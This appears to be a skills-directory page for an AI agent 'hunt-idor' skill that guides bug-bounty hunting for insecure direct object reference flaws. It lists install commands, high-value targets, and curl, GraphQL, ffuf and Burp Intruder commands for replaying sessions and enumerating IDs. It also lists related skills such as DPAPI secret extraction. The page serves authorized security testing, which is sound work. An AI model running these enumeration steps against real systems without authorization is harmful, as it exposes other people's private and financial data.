apk-redteam-pipeline
End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx…
Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use when hunting idor on any target.
Claude Code
$ npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-idor --agent claude-code
Codex
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-idor -a codex -y
Cursor
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-idor -a cursor -y
Gemini CLI
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-idor -a gemini-cli -y
GitHub Copilot
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-idor -a github-copilot -y
OpenCode
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-idor -a opencode -y
Windsurf
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-idor -a windsurf -y
name: hunt-idor description: Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use when hunting idor on any target. sources: github, hackerone_public report_count: 39
**Why IDOR pays big:**
**Highest-value asset types (by payout potential):**
| Asset Type | Why It Pays | |---|---| | Financial documents / billing APIs | PII + financial data exposure (Shopify, Uber, PayPal) | | Private repositories / source code | IP theft, critical data loss (GitHub) | | User messages / DMs | Privacy violation at scale (Reddit) | | Account management endpoints | User addition, deletion, privilege escalation (PayPal, Mozilla) | | Business/org administration | Cross-tenant escalation, employee PII (Uber) | | Content moderation/admin actions | Operational sabotage (Reddit mod logs) |
**Programs that pay most for IDOR:**
---
**URL patterns that scream IDOR:**
/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy**Response header signals:**
**JavaScript source patterns:**
// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId**Tech stack signals:**
---
1. **Map all object references in the application**
2. **Enumerate ID types**
3. **Create two separate accounts (same privilege level)**
4. **Replay User A's resource IDs as User B**
5. **Test cross-tenant/cross-org scenarios**
6. **Test GraphQL specifically**
7. **Test write/destructive operations, not just reads**
8. **Chain IDORs together**
9. **Test state-changing edge cases**
10. **Document the exact differential**
---
**Basic IDOR test with curl (swap cookie/token):**
# Get User A's resource ID while authenticated as A curl -s -H "Cookie: session=USER_A_SESSION" \ https://target.com/api/v1/invoices/12345 # Replay with User B's session curl -s -H "Cookie: session=USER_B_SESSION" \ https://target.com/api/v1/invoices/12345 # Success = 200 OK with User A's data
**GraphQL IDOR test:**
curl -s -X POST https://target.com/graphql \
-H "Authorization: Bearer USER_B_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'**Enumerate sequential IDs with ffuf:**
ffuf -u "https://target.com/api/v1/orders/FUZZ" \ -w ids.txt \ -H "Authorization: Bearer USER_B_TOKEN" \ -mc 200 \ -o idor_results.json
**Generate sequential ID wordlist:**
# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
for i in range(known_id - 500, known_id + 500):
f.write(str(i) + "\n")**Burp Intruder payload for IDOR scanning:**
GET /api/messages/§12345§ HTTP/1.1 Host: target.com Authorization: Bearer USER_B_TOKEN # Mark §12345§ as injection point # Use numeric sequential payload: 12000-13000 # Filter responses by length difference or status 200
**JavaScript scraping
A self-contained Claude skill bundle for bug hunting and external red-team work · 83 skills · 15 slash commands · 681 disclosed-report patterns (433 now individually cited & auditable) across 24 core vulnerability classes · enterprise identity +
End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx…
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS…
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master…
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code…
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match…
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…